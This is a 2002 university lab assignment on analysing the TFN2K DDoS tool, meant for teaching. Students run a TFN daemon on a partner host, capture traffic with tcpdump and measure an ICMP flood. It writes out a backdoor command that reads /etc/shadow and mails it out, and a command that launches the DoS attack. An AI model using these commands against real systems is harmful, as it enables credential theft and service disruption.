Assignments of day 5 in week #3

Distributed Denial-Of-Service (DDoS):TFN2K - An Analysis

Last Updated : Tuesday, 04-Jun-2002 15:14:40 HKT


Assignments

Post all your answers and works on your web page

Please do this assignment very carefully

  1. Start up the TFN daemon at your partner host and capture the ICMP package by the cap1 script
  2. ntec16-36:/tmp> /usr/local2/wsh/ddos/cap1
    td: no process killed
    tcpdump: listening on eth0
    
  3. TFN backdoor (Semi-interactive access)
    1. As your host, try to control your partner host via the TFN backddor. Command your TFN to send you the shadow password file to you.
    2. cd /usr/local2/wsh/ddos
       ./tfn -h your_partner_host -c 10 -i "/bin/cat /etc/shadow|/bin/mail your_email@ie.cuhk.edu.hk"
      
    3. Check the tcpdump in step 1. What is the IP, protocol of tcpdump traffic? Are the packet data encrypted? How many shadow password emails do you receive from your TFN server (i.e. your partner host)? Post the tcpdump and your findings on your web pages.
    4. If you still cannot recieve the /etc/shadow information by mail, repeat step 1.
    5. Hit CTRL-C to terminate your tcpdump at your host.

  4. Launch the DOS attack to your host
    1. tcpdump 10000 icmp packet to /tmp/ddos.dump by the cap2 script at your partner host
    2. ntec16-36:/tmp> /usr/local2/wsh/ddos/cap2
      td: no process killed
      tcpdump: listening on eth0
      
    3. At your host, command your TFN at the partner host to launch a ICMP DOS attack to your host
    4. ./tfn -h your_partner_host -c 6 -i your_host_IP@
      
      Note. Actually this attack will not reach your host because our NTEC router has blocked them all.
      However, you can measue the attack at the TFN server (i.e. your partner host) by the tcpdump in step II.
      
      After a second, the tcpdump at your host should be finished and the tcpdump file,
      /tmp/ddos.dump, with 10000 icmp packets should be created.
      Repeat this steps serveral times so as to make sure the TFN server has received your command

    5. Kill your TFN daemon at your and partner host

    6. Make sure you kill the TFN daemon at your and your partner host

      /usr/local2/wsh/ddos/killd
      
      
      
    7. Analyze the tcpdump file
    8. Use snort or tcpdump to figure out the attack output rate (i.e. How many DOS attack packets per seconds). You can get it from the packet time stamp. For example,

      tcpdump -nr /tmp/ddos.dump |head -100
      tcpdump -nr /tmp/ddos.dump |tail -100
      
      What spoofing IP did the attack use?
      Post all your findings on your web pages


References: